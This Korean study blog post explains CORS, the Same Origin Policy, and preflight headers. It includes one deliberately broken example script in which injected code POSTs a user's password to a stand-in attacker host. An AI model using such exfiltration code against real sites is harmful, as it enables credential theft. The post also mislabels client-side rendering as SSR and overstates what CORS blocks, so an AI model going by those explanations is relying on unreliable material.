[TIL / 네트워크] CORS(Cross Origin Resource Sharing), 제대로 정리해보고 넘어가자

알락·2022년 10월 17일
0

네트워크

목록 보기
3/3
post-custom-banner

network logo

CORS (Cross Origin Resource Sharing)

CORS를 구글링 하자마자 가장 눈에 띄는 웹페이지 제목이 "CORS는 왜 이렇게 우리를 힘들게 하는걸까?"였다. CORS에 맺힌 한이 느껴졌다.
먼저 CORS를 설명해야겠다. "Cross Origin Resource Sharing"을 축약한 단어다. 웹 프로그램이 기존의 Sever 측에서 렌더링 되던 방식이, 이미 오래 전부터 Client 측에서 렌더링 되는 방식으로 구현되는 서비스가 많아졌다. 그래서 Client 측에서 렌더링을 하면서, 자연스럽게 현재 통신 중인 Server와는 다른 지점에 있는 데이터를 요청하는 경우가 생겼다.
SSR(Server Side Rendering, 이하 SSR)은 UX/UI를 많이 개선시켰지만 외부 데이터를 가져오면서 다른 보안 문제를 발생시켰다. 현재 교류 중인 Server와는 다른 지점의 데이터를 받아오는 게 과연 안전한 지에 대한 의문이 바로 그것이다. 실제로 악의적으로 작동하는 프로그램이라도 갖고 오는 순간에는 비싼 대가를 치러야 할 수도 있는 문제였다.
이 때문에 데이터의 출처(Origin)을 밝혀, 현재 교류하고 있는 Server와 다르면 데이터 유입을 막아버릴 수 있다. 요즘 많은 웹브라우저가 이러한 기능을 제공한다. 이를 SOP(Same Origin Policy)라고 한다. 덕분에 최소한의 안전은 확보를 했다.

CORS 상황인지 구분하는 방법

출처를 밝히는 문제는 간단하다. 만약 내가 "https://velog.io/@JejuAlrock" 에 웹페이지 접속을 했는데, 해당 웹페이지에서 "ftp://cat.com/catpic1" 의 사진을 외부에서 또 요청을 하는 경우를 생각해보자.
프로토콜 부분 "https" : "ftp", 호스트 부분 "velog.io" : "cat.com"이 다르니 이 경우는 CORS의 상황이 된다.
만약 "https://velog.io/@catpic2" 로 사진 데이터를 요청하게 된다면 프로토콜 부분과 호스트 부분의 URI가 일치하니 이 같은 경우는 Same Origin의 상황이어서 별 문제 없이 데이터를 받아와 사용할 수 있다.

정리를 해보자면 '다른 출처'를 밝히는 문제는 URI의 scheme(protocol)host의 내용이 다른지 비교하는 것이다.

CORS 제한이 필요한 이유

만약 무심코 들어간 게시판의 html에 다음과 같은 공격이 들어올 수도 있다.

<http>
<head></head>
<body>
  <div class="board">
    <div class="title">공짜로 돈 벌어드리게 해드립니다.</div>
    <div class="content">
      뭐 하고 있는지 안 보이죠?
      <script type="type/javascript">
        fetch("hackers.computer/private_info_respistory", 
        {
          method : 'POST', 
          headers: {content-type: 'application.json'}, 
          body: JSON.stringfy("yourpassword")
        }).then((res)=>{
        	if (res) console.log("맛있는 비밀번호입니다!ㅋ")
        })
      </script>
    </div>
  </div>
</body>
</http>

완전히 작동하는 코드는 아니지만 원리는 비슷하다. Client가 외부에서 요청한 데이터에 위와 같은 자바스크립트 코드가 들어와 작동하게 되면 어떤 정보가 탈취되어도 속수무책일 것이다.

Client가 요청한다고 하니까 결국 Client의 잘못이 아니냐고 생각할 수 있다. Client는 Server에서 제공하는 html, js 파일을 받는다. Client 에서 렌더링 되는 어떤 데이터는 Server의 의도하에 작성된 주소에서 가져오게 된다. 결국 Server가 제공하는 웹서비스 내에서 Client가 요청하는 데이터의 출처를 제한하지 않으면 검증되지 않은 데이터를 가져올 수 있게 되어버린다.

어떻게 필요한 자원만 가져오게 만들까?

CORS Scenario
이미지 출처 : mdn CORS 문서

HTTP 통신은 Request 메시지의 Header 부분에, 통신에 필요한 정보를 기재하여 Server에 보낼 수 있다. 마찬가지로 Client의 요청으로 Server에서 만드는 Response 메시지의 Header 부분에도 필요한 정보를 보낼 수 있다.
위의 이미지처럼 CORS가 발생할 것 같은 상황에 Client는 먼저 OPTIONS 메소드를 갖는 Request를 server에 보내 필요한 정보들을 구한다. Server는 Client에게 제공할 웹서비스에 꼭 필요한 외부 자원들의 출처 정보를 제한하는 정보를 Response로 전해준다.

preflight message

브라우저는 Client의 Request가 CORS 중에서도 보안이 우려되는 상황이라 판단될 때 preflight message를 먼저 보내 Server의 허용 범위를 물어본다. 우선 단순 요청과 preflight message를 보내는 경우를 어떻게 구분하는 지 알아보자.

단순 요청의 조건

단순 요청은 다음의 조건을 모두 만족시켜야 한다. 그리고 다음의 조건은 일반적인 경우고, 특정 웹브라우저에서는 다를 수 있다. 이 조건 중 하나라도 만족하지 못하면 preflight message를 보내게 된다.

  • 다음 중 하나의 메소드
    -- GET
    -- HEAD
    -- POST
  • 유저 에이전트가 자동으로 설정한 헤더
    -- Accept
    -- Accept-Language
    -- Content-Language
    -- Content-Type
  • Content-Type 헤더는 다음의 값들만 허용
    -- application/x-www-form-urlencoded
    -- multipart/form-data
    -- text/plain
  • XMLHttpReuqestUpload 객체에 이벤트 리스너 등록 X
  • Request에 ReadableStream 객체 사용 X

Header 에 담기는 정보들

  • Origin: 기존에 통신하고 있던 서버의 URI
  • Access-Control-Request-Method : 실제 요청에 어떤 메소드를 사용할지에 대한 정보
  • Access-Control-Request-Headers : 실제 요청에 어떤 헤더 정보를 넣어 요청할지에 대한 정보

preflight message에 대한 Response

이제 CORS를 허용하게끔 preflight message에 대한 Response를 작성하여 client에 보내줘야한다. 이 때 보내는 Response Message 담긴 정보들로 Client는 자신이 요청하는 데이터의 출처를 제한하게 되고, 결국 Server가 의도한 외부 데이터 사용만 가능하게 만든다.

Header에 담기는 정보들

  • Access-Control-Allow-Origin : 허용할 다른 출처 URI
  • Access-Control-Allow-Methods : 허용할 메소드, 쉼표로 구분 허용
  • Access-Control-Allow-Headers : 허용할 헤더, 쉼표로 구분 허용
  • Access-Contorl-Max-Age : 다른 preflight request 없이 이미 보냈던 응답을 캐시할 수 있는 시간.

출처

evan-moon 블로그 : CORS는 왜 이렇게 우리를 힘들게 하는걸까?
해커들의 놀이터, DreamHack 강의
MDN 교차출처 리소스 공유(CORS) 문서

profile
블록체인 개발 공부 중입니다, 프로그래밍 공부합시다!
post-custom-banner

0개의 댓글